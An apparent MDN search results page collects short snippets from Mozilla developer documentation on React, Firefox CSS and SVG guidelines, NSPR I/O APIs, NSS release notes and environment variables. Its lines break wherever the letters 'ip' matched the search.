...And 3 more matches
React resources - Learn web development
previous overview: client-side javascr
ipt frameworks next our final article provides you with a list of react resources that you can use to go further in your learning. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. objective: to provide further resources for learning more about react. component-level styles although this tutorial doesn't use this approach, many react applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet. create-react-app makes it possible to import css files into javascr
ipt modules, so that css is only sent to your user when the corresponding component is rendered. for this app, we could have for exam...
... have app-wide styles and specific component styles that built on top of those. you can read more about component stylesheets in the create-react-app docs. react devtools we used console.log() to check on the state and props of our application in this tutorial, and you'll also have seen some of the useful warnings and error message that react gives you both in the cli and your browser's javascr
ipt console. but there's more we can do here. the react devtools utility allows you to inspect the internals of your react application directly in the browser. it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application. this screenshot shows our finished a...
...omponents that make up our application, including some unique keys for the things that are rendered from arrays. on the right, we see the props and hooks that our app component utilizes. notice, too, that the form, filterbutton, and todo components are indented to the right - this indicates that app is their parent. in more complex apps, this view is great for understanding parent/child relationsh
ips at a glance. react devtools is available in a number of forms: a chrome browser extension. a firefox browser extension. a chromium edge browser extension (available soon). a stand-alone application you can install with npm or yarn. try installing one of these, then using it to inspect the app you've just built! you can read more about react devtools on the react blog. the context api ...
...And 3 more matches
Vue resources - Learn web development
for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. ...
...And 3 more matches
Learn web development
complete beginner to web development, we'd recommend that you start by working through our getting started with the web module, which provides a practical introduction to web development. beyond the basics: if you have a bit of knowledge already, the next step is to learn html and css in detail: start with our introduction to html module and move on to our css first steps module. ...
...ch provides a practical introduction to web development. beyond the basics: if you have a bit of knowledge already, the next step is to learn html and css in detail: start with our introduction to html module and move on to our css first steps module. moving onto scr
ipting: if you are comfortable with html and css already, or you are mainly interested in coding, you'll want to move on to javascr
ipt or server-side development. begin with our javascr
ipt first steps and server-side first steps modules. frameworks and tooling: after mastering the essentials of vanilla html, css, and javascr
ipt, you should learn about client-side web development tools, and then consider digging into client-side javascr
ipt frameworks, and server-side website programming. note: our glossary provides terminolo...
...orks, and server-side website programming. note: our glossary provides terminology definitions. besides, if you have a specific question about web development, our common questions section may have something to help you. random glossary entry semantics in programming, semantics refers to the meaning of a piece of code -- for example "what effect does running that line of javascr
ipt have?", or "what purpose or role does that html element have" (rather than "what does it look like?".) topics covered the following is a list of all the topics we cover in the mdn learning area. getting started with the web provides a practical introduction to web development for complete beginners. html -- structuring the web html is the language that we use to structure the differe...
...And 3 more matches
CSUN Firefox Materials
because there are far fewer keys to type to get the desired location. for example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. this allows copying arbitrary pieces of text to the cl
ipboard. the f7 key toggles this feature on/off. tabbed browsing helps keyboard users by putting all of the browsed documents in one firefox application window rather than cluttering the alt+tab order which makes keyboard navigation within the entire windows os much simpler. both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring ...
...p down available via the standard alt+down arrow key combination. the built-in text zoom feature can be accessed with the ctrl+plus and ctrl+minus hotkeys. the accessibility extension may be installed on top of firefox, allowing keyboard access to document structure. caret browsing allows you to move through web content one letter a time. you can even select web content and copy it to the cl
ipboard. -- all with the keyboard moving back and forward by web page (alt+left and alt+right) occurs near-instantaneously the download manager provides keyboard access to all of your recent downloads customize your experience! many users are finding the true greatness of firefox lies in support for third party extensions. extensions are small add-ons which can change your browser experience as...
...xperience as you see fit. extensions can easily be installed or removed with the extension manager in the tools menu. ...
...And 3 more matches
Adding a new event
as keyboard or mouse input. this type of event allows c++ code to handle it easier. it's not a dom event. however, c++ code may need to dispatch an event to dom tree and handle it with c++ event handler. this is useful for widget notifying dom tree of something or retrieving something from dom tree. how to implement an internal event class if you're in case 1 (a simple dom event), you can sk
ip this section. add event messages you need to add event messages which are stored by widgetevent::message. all messages are defined by macro in "messages" section of basicevents.h. define event class name you need to add an event class name in eventclasslist.h. use ns_event_class macro for adding it. the macro takes two arguments, aprefix and aname. aprefix defines prefix of event class nam...
...der files directly. however, if implementing method isn't small and called from a lot of places, implementing it as inline causes to increase binary size. in this case, you should implement the method in widgeteventimple.cpp. and also, if implementing a method needs to include other header files, you should implement it in widgeteventimple.cpp too for avoiding include hell. make new event class
ipc aware for example, new class is caused by native user input event and needed to be dispatch to content, the class should be able to cross process boundary. in such cases, you may need to add new paramtraits for the new event class in nsguievent
ipc.h. modify utility methods of widgetevent widgetevent class has some utility mehtods and all of them are implemented in widgeteventimple.cpp. e.g., ...
...nt class has some utility mehtods and all of them are implemented in widgeteventimple.cpp. e.g., if your event shouldn't cause dom event, you need to modify widgetevent::isallowedtodispatchdomevent(). if your event should be fired on focused node, you need to modify widgetevent::istargetedatfocusedcontent(). how to implement a dom event class if you're in the case 3 (non-dom events), you can sk
ip this section. create webidl of the event write a dom event definition with webidl. it should be created under dom/webidl/. see webidl bindings for the detail. if your new event shouldn't be created with event constructor such as: var event = new fooevent("bar", { bubbles: true, cancelable: true, detail: 5 }); you shouldn't define construnctor in it. create xpcom interface for the dom event...
...And 3 more matches
Old Thunderbird build
mpile on slower machines with less ram. good internet connection for the initial source download. build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine. so firstly complete the instructions for your os and then continue following these build instructions. to build on windows, please read the prerequisites so you don't sk
ip preparing the mapi headers needed to compile thunderbird. windows build prerequisites gnu/linux build prerequisites mac os x build prerequisites get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:/thu...
...hunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install p
ip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it cl...
...pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes a scr
ipt to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout on some types of network connections, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time you fetch the comp...
...And 3 more matches
The Firefox codebase: CSS Guidelines
this document contains guidelines defining how css inside the firefox codebase should be written, it is notably relevant for firefox front-end engineers. basics here are some basic t
ips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment). the overriding css section contains more information about this. avoid magic numbers; prefer automatic sizing or alignment methods. some examples to avoid: absolutely positioned elements hardcoded values such as: vertical-align: -2px; . the reason you should avoid such "hardcoded" values is that, they don't necessarily work for all font-size configurations. avoid setting styles in javascr
ipt. it's generally better to set a c...
... boilerplate make sure each file starts with the standard copyright header (see license boilerplate). ...
...dd a space before !important. omit units on 0 values do this: margin: 0; not this: margin: 0px; use expanded syntax it is often harder to understand what the shorthand is doing and the shorthand can also hide some unwanted default values. it is good to privilege expanded syntax to make your intentions explicit. ...
...And 3 more matches
Creating Custom Events That Can Pass Data
query them. for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with this event, you want firefox to react differently. note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascr
ipt. (see bug 427537) requirements in order to do this you must be able to do all of the following: download mozilla source code build mozilla creating custom firefox extensions with the mozilla build system. this is the foundation for everything we'll do. what's in a name despite whatever you may have been taught in your english class, there's a lot in a name when it's an event name. as of gecko ...
...'re making easier. your modification of this file is basically just two macro calls. try to make sure of two things: keep your stuff at the back. you know never know what depends on that enum you modified keep your stuff organized. same reason as above. you need to make the following two modifications: around line 1000: ns_define_classinfo_data({truncated name}, nsdomgenericsh, dom_default_scr
iptable_flags) around line 2900: dom_classinfo_map_begin({truncated name}, nsidom{truncatedname}) dom_classinfo_map_entry(nsidom{truncated name}) dom_classinfo_event_map_entries dom_classinfo_map_end remember, {truncated name} is the same as above. mozilla/content/events/src/nseventdispatcher.cpp note: in the mozilla 1.8.x branch this code is actually in mozilla/content/events/src/nseventlis...
...s: if (aeventtype.lowercaseequalsliteral("nsmyevent")){ //note: the lowercase is important! nsdomevent* it = new nsdommyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does. ...
...And 3 more matches
SVG Guidelines
it is to extract raster data from an equivalent raster image. and even when an svg image is slower than a raster equivalent, the difference is usually not noticable. however, just don't fall into the trap of thinking that svgs are faster than eqivalent raster images, or vice versa. once again, "it depends". authoring guidelines a lot of svg files (particularly those generated by svg editors) sh
ip without being cleaned up and can contain a ton of junk that bloats the file size and slows down rendering. in general the best way to combat this is to first run svg files through a linter such as svgo (see the tools section below). however, when authoring svgs by hand here are some best practices to help keep them lightweight. these rules are based on some real examples seen in mozilla's code. ...
...inition that comes with the latter (xmlns:sketch, xmlns:sopodi, ...) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists. typical examples of this are <title> and <desc> tags. although this kind of data is supported by the browser, it can only be displayed when the svg is opened in a new tab. plus, in most of the cases, the filename is quite descr
iptive so it's recommended to remove that kind of metadata since it doesn't bring much value. you shouldn't include doctypes in your svgs either; they are a source of many issues, and the svg wg recommends not to include them. see svg authoring guidelines. avoid the use of cdata sections cdata sections are used to avoid parsing some text as html. most of time, cdata isn't needed, for example, the...
...effects specification) id (id on root element has no effect) xmlns:xlink attribute when there are no xlink:href attributes used throughout the file other unused xml namespace definitions xml:space when there is no text used in the file other empty tags, this may be obvious, but those are sometimes found in svgs unreferenced ids (usually on gradient stops, but also on shapes or paths) cl
ip-rule attribute when the element is not a descendant of a <cl
ippath> fill-rule attribute when the element is a descendant of a <cl
ippath> unreferenced/unused cl
ip paths, masks or defs (example) styling basics privilege short lowercase hex for colors don't use excessive precision for numeric values (usually comes from illustrator) use descr
iptive ids avoid inline styles and use class na...
...And 3 more matches
Storage access policy: Block cookies from trackers
, which have been available in firefox for many years. this policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. this article explains how the policy works and how you can test it. testing in firefox this cookie policy has been available in firefox since version 63. ...
... we recommend sites test with firefox nightly, as this includes the newest version of our protections. ...
... foo.blah.example.com yes what does the storage access policy block? the storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. this prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to mult
iple first parties. specifically, firefox does this by imposing the following restrictions: cookies: block cookie request headers and ignore set-cookie response headers. return an empty string for calls to document.cookie and ignore requests to set cookies via document.cookie. dom storage: localstorage: window.localstorage: read and write attempts throw a securityerror exception. prior to...
...And 3 more matches
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of
ipdl to provide a solution to common problems that arise when handling mult
iple threads in the chrome process, for example communication between workers and mult
iple child processes and other parent-process worker threads. this article outlines what pbackground is, and how it works.
ipdl recap
ipdl is a language used to define "protocols" -- essentially formalized versions of how two things can communicate. it is similar in some respects to idl and webidl. at build time the
ipdl compiler automatically generates a large amount of c++ glue code from the
ipdl files. ...
...processes and other parent-process worker threads. this article outlines what pbackground is, and how it works.
ipdl recap
ipdl is a language used to define "protocols" -- essentially formalized versions of how two things can communicate. it is similar in some respects to idl and webidl. at build time the
ipdl compiler automatically generates a large amount of c++ glue code from the
ipdl files.
ipdl protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules". note: if you want more detailed information on
ipdl, start out by reading the
ipdl tutorial. ...
...this is the foundation of how chrome and content processes talk to each other in e10s. the actor tree all live actors exist in a tree. the root of the tree is known as the top-level actor, an instance of one of a small number of top-level protocols. ...
...And 3 more matches
Services.jsm
the services.jsm javascr
ipt code module offers a wide assortment of lazy getters that simplify the process of obtaining references to commonly used services. to use it, you first need to import the code module into your javascr
ipt scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module. for example, to obtain a reference to the preferences service: var prefsservice = services.prefs; provided service getters service accessor service interface service name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellse...
...me androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service cache nsicacheservice cache service cache2 nsicachestorageservice cache storage service cl
ipboard nsicl
ipboard cl
ipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice ...
...ard nsicl
ipboard cl
ipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender child process message manager4 crashmanager crashmanager.jsm dirsvc nsidirectoryservice ns
iproperties directory service domstoragemanager nsidomstoragemanager dom storage manager domrequest nsidomrequestservice domrequest service downloads nsidownloadmanager download manager droppedlinkhandler nsidroppedlinkhandler dropped link handler service els nsieventlistenerservice event listener service etld ...
...And 3 more matches
Localization and Plurals
ur code, so it would be good to read through at least the usage section as well. usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word. different languages can have different rules. plural form: for a particular plural rule, there can be mult
iple forms of a word, such as "page" and "pages". in this case, there are 2 forms, but other languages can have 1 or many more. if you're here for pluralrule in the chrome/global/intl.properties file, you'll need to figure out what plural rule to choose for your localization. this plural rule is used to determine how many plural forms are needed for each word that needs to be localized, with plura...
...following list of plural rules. list of plural rules this section contains a list of plural rules ordered by their plural rule number. each entry indicates how many plural forms are needed when localizing a word. for each entry, there is a list of families and languages in those families, to help you figure out if it's the rule you should pick for pluralrule. additionally, there is a brief descr
iption of each plural form, followed by some sample numbers that fall into that particular form. for a given plural rule, the order in which the plural forms are listed is the same order you need to localize a word, separated by semi-colons. for example, english uses plural rule 1, and localizing plurals would require a string of "plural;plurals" where the first word is the singular form and the se...
...this module provides a couple methods for localizing to the browser's current locale as well as getting methods to localize to a desired plural rule. the latter ability of specifying a plural rule is useful for extensions because the extension doesn't necessarily have to be localized to the browser's locale. loading pluralform.jsm loading the pluralform module from java...
...And 3 more matches
MathML Demo: <mspace> - space
een set to yellow for easier viewing. you can set the width ? x y height ? x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set). interactive sizing html content <p> use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
...ght ? x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set). interactive sizing html content <p> use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
... the numeric values that are set). interactive sizing html content <p> use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. ...
...And 3 more matches
TimerFirings logging
measured in milliseconds. finally there is the identifying information for the timer. function timers have an informative label. interface and observer timers only have an address, which is less useful, but they are uncommon enough that this usually doesn't matter much. the above example shows only timers from c++ within gecko. there are also timers for settimer or setinterval calls in javascr
ipt code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js time...
...they can come from chrome code within firefox, or from web content. the informative labels are only present on function timers that have had their creation site annotated. for unannotated function timers, there are three possible behaviours. first, on mac the code uses dladdr to get the name immediately, and the output will look like the following. 208...
...and the output will look like the following. 2082435840[100445640]: [81190] fn timer (one_shot 8000 ms): [from dladdr] gfxfontinfoloader::delayedstartcallback(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py. the following two lines show the output before and after being post-processed by that scr
ipt. 2088737280[7f606bf68140]: [30710] fn timer (one_shot 16 ms): [from dladdr] #0: ???[/home/njn/moz/mi1/o64/dist/bin/libxul.so +0x2144f94] 2088737280[7f606bf68140]: [30710] fn timer (one_shot 16 ms): [from dladdr] #0: mozilla::refreshdrivertimer::timertick(nsitimer*, void*) (/home/njn/moz/mi1/o64/layout/b third, on other platforms dladdr is not implemented or doesn't work well, an...
...And 3 more matches
Preference reference
he preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.cl
ipboardevents.enableddom.event.cl
ipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected. the emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascr
ipt.options.showinconsolethe preference javascr
ipt.options.showinconsole controls whether...
...tifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected. the emitting of the oncopy, oncut and onpaste events are controlled by this preference. javascr
ipt.options.showinconsolethe preference javascr
ipt.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascr
ipt.options.stricttechnical review completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar. the old behavior can be restored by setting the preference mail.tabs.drawintitlebar to false.nglayout.debug.disable xul fastloadthe preference nglayout.debug.disable_xul_fastload controls whether or not xul fastload is used.nglayout.debug.disable_xul_cacheto improve...
....nglayout.debug.disable_xul_cacheto improve performance, mozilla caches chrome xul documents the first time they load for faster loading later. the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed. the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a "compiled" version of the xul and javascr
ipt in a document to disk for faster startup the next time the application runs.reader.parse-on-load.force-enabledthe preference reader.parse-on-load.force-enabled controls if the reader mode used in firefox mobile should be enabled independent of the memory available in the device. by default, the reader mode in firefox mobile is only enabled if the memory is greater than 384mb.ui.alertnotification...
...And 3 more matches
Midas editor module security preferences
t, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users. please do not try to modify this page. to protect users' private information, unprivileged scr
ipts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component. this means that the corresponding buttons on the mozilla rich text editing demo page will not work. to enable these functions, you must modify your browser preferences. warning: changing these preferences can leave your browser insecure, especially if you grant permission to untrusted site...
...lt settings when you're done! changing the preferences in firefox quit firefox. if you have quick launch running (on windows, this is an icon in the toolbar), quit that too. find your firefox profile directory. open the user.js file from that directory in a text editor. if there's no user.js file, create one. ...
...eferences in firefox quit firefox. if you have quick launch running (on windows, this is an icon in the toolbar), quit that too. find your firefox profile directory. open the user.js file from that directory in a text editor. if there's no user.js file, create one. ...
...And 3 more matches
Introduction to NSPR
ese resources include the thread stack and the cpu register set (including pc). to an nspr client, a thread is represented by a pointer to an opaque structure of type prthread. a thread is created by an explicit client request and remains a valid, independent execution entity until it returns from its root function or the process abnormally terminates. (prthread and functions for creating and man
ipulating threads are described in detail in threads.) nspr threads are lightweight in the sense that they are cheaper than full-blown processes, but they are not free. they achieve the cost reduction by relying on their containing process to manage most of the resources that they access. this, and the fact that threads share an address space with other threads in the same process, makes it importa...
...ting threads for reference information on the nspr api used for thread scheduling, see threads. setting thread priorities the host operating systems supported by nspr differ widely in the mechanisms they use to support thread priorities. in general, an nspr thread of higher priority has a statistically better chance of running relative to threads of lower priority. however, because of the mult
iple strategies to provide execution vehicles for threads on various host platforms, priorities are not a clearly defined abstraction in nspr. at best they are intended to specify a preference with respect to the amount of cpu time that a higher-priority thread might expect relative to a lower-priority thread. this preference is still subject to resource availability, and must not be used in place o...
...context must be supplied by the programmer. conditions are closely associated with a single monitor. the association between a condition and a monitor is established when a condition variable is created, and the association persists for the life of the condition variable. in addition, a static association exists between the condition and some data within the monitor. this data is what will be man
ipulated by the program under the protection of the monitor. a thread may wait on notification of a condition that signals changes in the state of the associated data. other threads may notify the condition when changes occur. condition variables are always monitored. the relevant operations on conditions are always performed from within the monitor. they are used to communicate changes in the stat...
...And 3 more matches
PRIOMethods
the table of i/o methods used in a file descr
iptor. syntax #include <prio.h> struct priomethods { prdesctype file_type; prclosefn close; prreadfn read; prwritefn write; pravailablefn available; pravailable64fn available64; prfsyncfn fsync; prseekfn seek; prseek64fn seek64; prfileinfofn fileinfo; prfileinfo64fn fileinfo64; prwritevfn writev; prconnectfn connect; pracceptfn accept; prbindfn bind; prlistenfn listen; prshutdownfn shutdown; prrecvfn recv; prsendfn send; prrecvfromfn recvfrom; prsendtofn sendto; prpollfn poll; pracceptreadfn acceptread; prtransmitfilefn transmitfile; prgetsocknamefn getsockname; prgetpeernamefn getpeername; prgetsockoptfn getsockopt; prsetsockoptfn setsockopt; }; typedef struct priomethods priomethods; ...
... prsendfn send; prrecvfromfn recvfrom; prsendtofn sendto; prpollfn poll; pracceptreadfn acceptread; prtransmitfilefn transmitfile; prgetsocknamefn getsockname; prgetpeernamefn getpeername; prgetsockoptfn getsockopt; prsetsockoptfn setsockopt; }; typedef struct priomethods priomethods; parameters file_type type of file represented (tos). close close file and destroy descr
iptor. read read up to the specified number of bytes into buffer. write write specified number of bytes from buffer. available determine number of bytes available for reading. available64 same as previous field, except 64-bit. fsync flush all in-memory buffers of file to permanent store. seek position the file pointer to the desired place. seek64 same as previous field, except 64-bit. ...
... seek position the file pointer to the desired place. seek64 same as previous field, except 64-bit. fileinfo get information about an open file. fileinfo64 same as previous field, except 64-bit. writev write from a vector of buffers. connect connect to the specified network address. accept accept a connection from a network peer. bind associate a network address with the file descr
iptor. listen prepare to listen for network connections. shutdown shut down a network connection. recv receive up to the specified number of bytes. send send all the bytes specified. recvfrom receive up to the specified number of bytes and report network source. sendto send bytes to specified network address. poll test the file descr
iptor to see if it is ready for i/o. acceptread acc...
...And 3 more matches
PRSocketOptionData
type for structure used with pr_getsocketoption and pr_setsocketoption to specify options for file descr
iptors that represent sockets. ...
... type for structure used with pr_getsocketoption and pr_setsocketoption to specify options for file descr
iptors that represent sockets. ...
... no_delay disable nagle algorithm. don't delay send to coalesce packets. max_segment tcp maximum segment s...
...And 3 more matches
PR_Close
on successful return, pr_close frees the dynamic memory and other resources identified by the fd parameter. ...
...on successful return, pr_close frees the dynamic memory and other resources identified by the fd parameter. ...
...on successful return, pr_close frees the dynamic memory and other resources identified by the fd parameter. ...
...And 3 more matches
PR_ReadDir
gets a pointer to the next entry in the directory. syntax #include <prio.h> prdirentry* pr_readdir( prdir *dir, prdirflags flags); parameters the function has the following parameters: dir a pointer to a prdir object that designates an open directory. flags specifies which directory entries, if any, to sk
ip. values can include the following: pr_sk
ip_none. do not sk
ip any files. pr_sk
ip_dot. sk
ip the directory entry "." representing the current directory. pr_sk
ip_dot_dot. sk
ip the directory entry ".." representing the parent directory. pr_sk
ip_both. sk
ip both "." and ".." pr_sk
ip_hidden. sk
ip hidden files. on windows platforms and the mac os, this value identifies files with the "hidden" attribute set. on unix platform, this value identifies files whose names begi...
... pr_sk
ip_hidden. sk
ip hidden files. on windows platforms and the mac os, this value identifies files with the "hidden" attribute set. on unix platform, this value identifies files whose names begin with a period ("."). returns a pointer to the next entry in the directory. if the end of the directory is reached or an error occurs, null. the reason can be retrieved via pr_geterror. descr
iption pr_readdir returns a pointer to a directory entry structure: struct prdirentry { const char *name; }; typedef struct prdirentry prdirentry; the structure has the following field: name name of entry, relative to directory name. ...
...the caller must not free the prdirentry structure. ...
...And 3 more matches
NSS FAQ
-style licence. nss supports both server and client applications as well as pkcs #11 and s/mime. to permit its use in as many contexts as possible, nss is licensed under the mozilla public license, version 2. how does nss compare to sslref? sslref was an early reference implementation of the ssl protocol. it contains bugs that were never fixed, doesn't support tls or or the new 56-bit export c
ipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1. netscape no longer maintains sslref or makes it available. it was built as an example of an ssl implementation, not for creating production applications. nss was designed from the ground up for use by commercial developers. it provides a complete software development kit that uses the same architecture used to suppo...
...lementation, not for creating production applications. nss was designed from the ground up for use by commercial developers. it provides a complete software development kit that uses the same architecture used to support security features in many client and server products from netscape and other companies. what platforms and development environments are supported? this section is out of date
iplanet e-commerce solutions has certified nss 3.1 on 18 platforms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000. other contributors are in the process of certifying additional platforms. the nss 3.1 api requires c or c++ development environments. for the latest nss release notes and detailed platform information, see project ...
...the nss 3.1 api requires c or c++ development environments. for the latest nss release notes and detailed platform information, see project information. what cryptography standards are supported? nss supports ssl v2 and v3, tls, pkcs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, and x.509 v3 certificates. ...
...And 3 more matches
NSS 3.15.2 release notes
wnload: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_2_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.2. users are encouraged to upgrade immediately. bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure. ...
...alls: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_2_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.2. users are encouraged to upgrade immediately. bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure. ...
... following security-relevant bugs have been resolved in nss 3.15.2. users are encouraged to upgrade immediately. bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure. new in nss 3.15.2 new functionality aes-gcm c
iphersuites: aes-gcm c
ipher suite (rfc 5288 and rfc 5289) support has been added when tls 1.2 is negotiated. specifically, the following c
ipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_c
ipherfinal has been introduced, which is a simple alias for pk11_digestfinal. new types no new types have been introduced. new pkcs #11 mechanisms no new pkcs#11 mech...
...And 3 more matches
PKCS11 Implement
s calls c_opensession whenever it initializes a token and keeps the session open as long as possible. the nss almost never closes a session after it finishes doing something with a token. it uses a single session for all single-part rsa operations such as logging in, logging out, signing, verifying, generating keys, wrapping keys, and so on. the nss opens a separate session for each part of a mult
ipart encryption (bulk encryption). if it runs out of sessions, it uses the initial session for saves and restores. c_closesession the nss calls c_closesession to close sessions created for bulk encryption. c_closeallsessions the nss may call c_closeallsessions when it closes down a slot. c_getsessioninfo the nss calls c_getsessioninfo frequently. if a token has been removed during a sessio...
...it receives the certificate. c_copyobject the nss rarely calls c_copyobject but may sometimes do so for non-token private keys. c_destroyobject the nss calls c_destroyobject to destroy certificates and keys on tokens. c_getobjectsize the nss never calls c_getobjectsize. c_getattributevalue the nss calls c_getattributevalue to get the value of attributes for both single objects and mult
iple objects. this is useful for extracting public keys, nonsecret bulk keys, and so on. c_setattributevalue the nss uses c_setattributevalue to change labels on private keys. c_findobjectsinit, c_findobjects, c_findfinal the nss calls these functions frequently to look up objects by cka_id or cka_label. these values must match the equivalent values for related keys and certificates and must b...
...re used with corresponding plug-ins to distribute private keys. signing tokens include a signing certificate and are used to sign objects or messages or to perform ssl authentication. they cannot be used for encrypted s/mime, because they can't decrypt messages. signing and decryption tokens can be used for s/mime and for encrypted transactions over unsecured networks such as the internet. mult
ipurpose tokens provide the full range of cryptographic services. they can be thought of as cryptographic accelerator cards. future releases of nss will also support mult
ipurpose tokens that are f
ips-140 compliant. table 1.2 summarizes the pkcs #11 functions (in addition to the other functions described in this document) that nss expects each type of token to support. pkcs #11 functions require...
...And 3 more matches
NSS environment variables
note: nss environment variables are subject to be changed and/or removed from nss. run-time environment variables these environment variables affect the run time behavior of nss shared libraries. there is a separate set of environment variables that affect how nss is built, documented below. variable type descr
iption introduced in version nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see below). makes nsrandfile usable with /dev/urandom. 3.12.3 nsrandfile string (file name) uses this file to seed the pseudo random number generator. before 3.0 nss_allow_weak_signature_alg boolean (any non-empty value to enable) ena...
...s_memory_allocation 3.4 nss_disable_unload string (any non-empty value) disable unloading of dynamically loaded nss shared libraries during shutdown. necessary on some platforms to get correct function names when using leak reporting software. 3.11.8 nss_enable_audit boolean (1 to enable) enable auditing of activities of the nss cryptographic module in f
ips mode. audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates. 3.12 nss_f
ips string ("f
ips","true","on","1") will start nss in f
ips mode. 3.12.5 nss_hash_alg_support string specifies agorithms allowed to be used in certain applications, such...
...ived will be timestamped and dumped (to stdout) in standard hex-dump format. 3.12 sqlite_force_proxy_locking boolean (1 to enable) 1 means force always use proxy, 0 means never use proxy, null means use proxy for non-local files only. 3.12.6 sslbypass boolean (1 to enable) uses pkcs#11 bypass for performance improvement. do not set this variable if f
